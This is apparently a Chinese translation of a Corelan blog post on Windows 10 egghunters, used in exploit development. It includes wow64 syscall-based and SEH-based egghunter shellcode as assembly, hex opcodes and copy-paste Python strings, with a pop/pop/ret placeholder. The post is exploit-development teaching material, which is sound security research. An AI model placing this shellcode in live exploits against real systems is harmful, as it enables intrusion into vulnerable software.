Windows 10 Egghunter技术详解与实现

本文详细介绍了Windows 10环境下的Egghunter技术,包括基于系统调用和结构化异常处理的两种实现方法,提供了完整的汇编代码和操作指南,适用于漏洞利用和网络安全研究。

Windows 10 Egghunter(wow64)及更多内容

引言

我必须承认,我一直对Egghunter技术有些着迷。但这并不意味着我喜欢仅仅因为其功能而使用(或滥用)Egghunter。事实上,我认为尽量避免使用Egghunter是一个好习惯,因为它们往往会减慢速度。

我真正感兴趣的是在不使进程崩溃的情况下搜索内存的技术。这只是个人兴趣,并不太重要。

重要的是Corelan Team回来了。好吧,是我回来了。这是我近三年来的第一篇(技术性)文章,也是自Corelan Team在那之前逐渐"淡出"以来的第一篇文章。

正如你们中的一些人所知,我最近离开了我的日常工作。我成立了一家名为"Corelan Consulting"的新公司,试图通过漏洞利用开发培训和网络安全咨询来谋生。

在构建2019版Corelan Bootcamp、更新Windows 10材料时,我意识到Lincoln编写的Windows 7 wow64 Egghunter在Windows 10上不再工作。事实上,我有点预期它会失败,因为我们已经知道Microsoft在每个主要的Windows版本中都会更改系统调用号。

wow64 Egghunter for Windows 10

挑战在于弄清楚新的系统调用期望其参数的位置和方式,它如何更改寄存器和堆栈以确保参数始终处于正确的位置,并提供预期的功能:测试给定页面是否可访问,并且在此过程中不使进程死亡。

这是更新后的例程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
"\x33\xD2"              #XOR EDX,EDX
"\x66\x81\xCA\xFF\x0F"  #OR DX,0FFF
"\x33\xDB"              #XOR EBX,EBX
"\x42"                  #INC EDX
"\x52"                  #PUSH EDX
"\x53"                  #PUSH EBX
"\x53"                  #PUSH EBX
"\x53"                  #PUSH EBX
"\x53"                  #PUSH EBX
"\x6A\x29"              #PUSH 29  (system call 0x29)
"\x58"                  #POP EAX
"\xB3\xC0"              #MOV BL,0C0
"\x64\xFF\x13"          #CALL DWORD PTR FS:[EBX] (perform the system call)
"\x83\xC4\x10"          #ADD ESP,0x10
"\x5A"                  #POP EDX
"\x3C\x05"              #CMP AL,5
"\x74\xE3"              #JE SHORT
"\xB8\x77\x30\x30\x74"  #MOV EAX,74303077
"\x8B\xFA"              #MOV EDI,EDX
"\xAF"                  #SCAS DWORD PTR ES:[EDI]
"\x75\xDE"              #JNZ SHORT
"\xAF"                  #SCAS DWORD PTR ES:[EDI]
"\x75\xDB"              #JNZ SHORT
"\xFF\xE7"              #JMP EDI

这个Egghunter在Windows 10上工作得很好,但它假设你在wow64环境中运行(64位操作系统上的32位进程)。

你可以使用mona.py生成这个Egghunter - 只需运行!mona egg -wow64 -winver 10

异常处理

skape撰写的关于Egghunter的原始论文(“Safely Searching Process Virtual Address Space”,2004年!)已经介绍了使用自定义异常处理程序来处理访问违规的方法。

当操作系统看到异常并决定将其传递给进程中的相应线程时,它将指示ntdll.dll中的一个函数启动该线程中的异常处理机制。此例程将检查偏移量0处的TEB(可通过FS:[0]访问),并检索堆栈上异常处理链中最顶层的记录的地址。

如果我们想要在发生异常时保持对情况的控制,我们必须创建一个自定义的"最顶层"SEH记录,确保在Egghunter执行期间它始终是最顶层的记录,并且我们必须使记录处理程序指向一个允许我们的Egghunter继续运行并转到下一个页面的例程。

基于SEH的Egghunter

这是我的基于SEH的Egghunter的样子(准备用nasm编译):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
; Universal SEH based egg hunter (x86 and wow64)
; tested on Windows 7 & Windows 10
; written by Peter Van Eeckhoutte (corelanc0d3r)

[BITS 32]
CALL $+4			; getPC routine
RET
POP ECX
ADD ECX,0x1d			; offset to "handle" routine

;set up SEH record
XOR EBX,EBX
PUSH ECX			; remember where our 'custom' SE Handler routine will be
PUSH ECX			; p/p/r will fly over this one
PUSH 0x90c3585c			; trigger p/p/r again :)
PUSH 0x44444444			; Replace with P/P/R address  ** PLACEHOLDER **
PUSH 0x04EB5858			; SHORT JUMP
MOV DWORD [FS:EBX],ESP		; put our SEH record to top of chain

JMP nextpage

handle:				; our custom handle
	SUB ESP,0x14		; undo changes to ESP
	XOR EBX,EBX
	MOV DWORD [FS:EBX],ESP	; make our SEH record topmost again
	MOV EDX, [ESP+24]	; pick up saved EDX
	INC EDX

nextpage:
	OR DX, 0x0FFF
	INC EDX
	MOV [ESP+24], EDX	; remember where we are searching
	MOV EAX, 0x74303077	; w00t
	MOV EDI, EDX
	SCASD
	JNZ nextpage+5
	SCASD
	JNZ nextpage+5
	JMP EDI

为了使用Egghunter,你需要首先将asm指令转换为操作码。为此,你需要安装nasm。

将上面的asm代码片段保存到文本文件中(例如"c:\dev\win10_egghunter_seh.nasm")。接下来,运行"nasm"将其转换为包含操作码的二进制文件:

1
"C:\Program Files (x86)\NASM\nasm.exe" -o c:\dev\win10_egghunter_seh.obj c:\dev\win10_egghunter_seh.nasm

接下来,将二进制文件的内容转储为可以在脚本和漏洞利用中使用的十六进制格式:

1
python c:\dev\bin2hex.py c:\dev\win10_egghunter_seh.obj

如果一切顺利,你将得到:

1
2
3
4
5
6
7
8
9
"\xe8\xff\xff\xff\xff\xc3\x59\x83"
"\xc1\x1d\x31\xdb\x51\x51\x68\x5c"
"\x58\xc3\x90\x68\x44\x44\x44\x44"
"\x68\x58\x58\xeb\x04\x64\x89\x23"
"\xeb\x0d\x83\xec\x14\x31\xdb\x64"
"\x89\x23\x8b\x54\x24\x24\x42\x66"
"\x81\xca\xff\x0f\x42\x89\x54\x24"
"\x24\xb8\x77\x30\x30\x74\x89\xd7"
"\xaf\x75\xf1\xaf\x75\xee\xff\xe7"

再次提醒,不要忘记将\x44\x44\x44\x44(第三行末尾)替换为pop/pop/ret的地址(如果要编辑字节,请以小端序存储地址:))

Python友好的复制/粘贴代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
egghunter = ("\xe8\xff\xff\xff\xff\xc3\x59\x83"
"\xc1\x1d\x31\xdb\x51\x51\x68\x5c"
"\x58\xc3\x90\x68")

egghunter += "\x??\x??\x??\x??" #replace with pointer to pop/pop/ret.  Use !mona seh

egghunter += ("\x68\x58\x58\xeb\x04\x64\x89\x23"
"\xeb\x0d\x83\xec\x14\x31\xdb\x64"
"\x89\x23\x8b\x54\x24\x24\x42\x66"
"\x81\xca\xff\x0f\x42\x89\x54\x24"
"\x24\xb8\x77\x30\x30\x74\x89\xd7"
"\xaf\x75\xf1\xaf\x75\xee\xff\xe7")

调试说明

在调试Egghunter时,你会注意到它会抛出访问违规(当代码尝试访问不可访问的页面时)。当然,在这种情况下,这些访问违规是绝对正常的,但你仍然必须将异常传递回应用程序(Shift F9)。

你也可以配置Immunity Debugger以自动忽略(并传递)异常。为此,单击"debugging options",然后打开"exceptions"选项卡。在"Add range"下添加以下十六进制值:

  • 0xC0000005 – ACCESS VIOLATION
  • 0x80000001 – STATUS_GUARD_PAGE_VIOLATION

当然,当你完成调试Egghunter后,不要忘记再次删除这两个异常。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计